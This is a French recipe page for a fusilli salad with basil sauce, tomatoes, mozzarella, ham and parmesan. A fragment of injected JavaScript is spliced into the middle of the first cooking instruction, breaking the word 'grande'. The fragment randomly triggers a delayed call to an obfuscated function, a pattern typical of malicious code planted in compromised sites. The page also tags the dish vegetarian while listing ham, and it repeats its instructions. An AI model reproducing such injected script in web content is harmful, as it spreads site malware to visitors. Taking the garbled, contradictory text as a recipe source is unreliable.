Salade de fusilli aux couleurs de l’Italie
2018-02-13- Cuisine : Salade
- Thématique : Pates, Végétarien
- Niveau : Facile
Pelez, coupez en deux les gousses d’ail. Ôtez le germe. Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée, faites cuire les fusilli, al dente. Les égoutter, les rafraîchir sous le robinet d’eau froide pour freiner la cuisson.
Ingrédients
Pelez, coupez en deux les gousses d'ail. Ôtez le germe. Dans une grande quantité d'eau bouillante salée, faites cuire les fusilli, al dente. Les égoutter, les rafraîchir sous le robinet d'eau froide pour freiner la cuisson. Préparez la sauce dans un mortier, piler les feuilles de basilic avec les gousses d'ail, la fleur de sel, poivrez. Ajoutez l'huile d'olive et la mélasse de grenade.
Déposez les pâtes, les haricots coupés en deux, les tomates cerise coupées en deux. Le jambon coupé en fines lamelles, les dés de mozzarella, les pignons de pin. Arrosez de sauce. Mélangez.
Parsemez de copeaux de parmesan et dégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
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